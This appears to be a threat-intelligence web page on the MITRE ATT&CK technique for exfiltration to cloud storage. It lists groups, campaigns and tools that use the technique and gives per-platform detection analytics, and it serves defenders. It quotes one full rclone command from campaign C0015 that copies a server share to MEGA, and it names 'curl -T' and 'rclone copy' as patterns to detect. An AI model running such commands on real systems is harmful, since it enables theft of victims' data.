Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.
25 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Has exfiltrated stolen data to the MEGA file sharing site.1 Storm-0501 has also utilized Rclone to exfiltrate data from victim environments to cloud storage such as MegaSync.2 Storm-0501 has exfiltrated data to their own infrastructure utilizing AzCopy Command-Line tool (CLI).3
Has exfiltrated stolen passwords to Dropbox.1
Has utilized Rclone to exfiltrate data from victim environments to cloud storage.12
Will exfiltrate victim data using applications such as Rclone.1
Has used a DropBox uploader to exfiltrate stolen files.1
Has uploaded captured keystroke logs to the Alibaba Cloud Object Storage Service, Aliyun OSS.1
All 25 groups for this technique · 6 newest in this preview
3 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
Exfiltrated collected information to OneDrive.1
During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M.1
During Operation Dream Job, Lazarus Group used a custom build of open-source command-line dbxcli to exfiltrate stolen data to Dropbox.12
All 3 campaigns for this technique
16 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Tsundere Botnet’s variant DinDoor has used Rclone to access a Wasabi server.1
Can upload results from executed C2 commands to cloud storage.1
Can exfiltrate files to an actor-controlled OneDrive account via the Microsoft Graph API.1
Can use an attacker-controlled OneDrive account for exfiltration.1
Can upload stolen files to OneDrive storage accounts via HTTP POST.1
Can exfiltrate data to cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA.12
All 16 software entries for this technique · 6 newest in this preview
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
MITRE names one behaviour worth catching for this technique and breaks it into 4 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
AN1571 · Windows
Unusual processes (e.g., powershell.exe, excel.exe) accessing large local files and subsequently initiating HTTPS POST requests to domains associated with cloud storage services (e.g., dropbox.com, drive.google.com, box.com). Defender perspective: correlation between file reads in sensitive directories and high outbound traffic volume to known storage APIs.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | WinEventLog:Sysmon | EventCode=1 |
| File AccessDC0055 | WinEventLog:Security | EventCode=4663, 4670, 4656 |
| Network Connection CreationDC0082 | WinEventLog:Sysmon | EventCode=3, 22 |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| CloudStorageDomains | List of monitored domains for cloud services (dropbox.com, drive.google.com, onedrive.live.com). |
| ExfilVolumeThreshold | Data volume threshold (e.g., >10MB in single session) used to flag abnormal transfers. |
| UserContext | User accounts permitted to use sanctioned cloud services versus unexpected accounts. |
AN1572 · Linux
Processes such as curl, wget, rclone, or custom scripts executing uploads to cloud storage endpoints. Defender perspective: detect chained events where tar/gzip is executed to compress files followed by HTTPS PUT/POST requests to known storage services.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| File AccessDC0055 | auditd:SYSCALL | read/open of sensitive file directories |
| Command ExecutionDC0064 | auditd:EXECVE | curl -T, rclone copy |
| Network Traffic FlowDC0078 | NSM:Flow | large HTTPS outbound uploads |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| AllowedTools | Known tools used legitimately for backups (rclone, gsutil). Deviations raise suspicion. |
| WorkHours | Baseline normal data transfer hours to reduce false positives. |
AN1573 · macOS
Applications or scripts invoking cloud storage APIs (Dropbox sync, iCloud, Google Drive client) in unexpected contexts. Defender perspective: detect sensitive file reads by non-standard applications followed by unusual encrypted uploads to external cloud storage domains.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | macos:unifiedlog | execution of curl, rclone, or Office apps invoking network sessions |
| File AccessDC0055 | macos:unifiedlog | file read of sensitive directories |
| Network Traffic ContentDC0085 | macos:unifiedlog | outbound HTTPS connections to cloud storage APIs |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| WatchedApps | Track processes that normally should not upload data (e.g., Preview, Calculator). |
| EntropyThreshold | High-entropy file uploads may indicate encrypted payloads designed for exfiltration. |
AN1574 · ESXi
Unusual ESXi processes (vmx, hostd) reading datastore files and generating outbound HTTPS traffic toward external cloud storage endpoints. Defender perspective: anomalous datastore activity followed by network transfers to Dropbox, AWS S3, or other storage services.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| File AccessDC0055 | esxi:hostd | datastore file access |
| Network Traffic FlowDC0078 | esxi:vmkernel | network flows to external cloud services |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| DatastoreTransferThreshold | Threshold for outbound data exfiltration from ESXi datastore files. |
| ApprovedStorageServices | Whitelist of sanctioned storage providers used by admins for backup operations. |
Web proxies can be used to enforce an external network communication policy that prevents use of unauthorized external services.
Tests from Atomic Red Team (MIT licence) · technique definition
20 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.
Loading detections...
| Select | Title | Description | Category | Status | Event | Product | MITRE ATT&CK | CVEs | Severity | Author | Created | Updated | ID | Refs |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|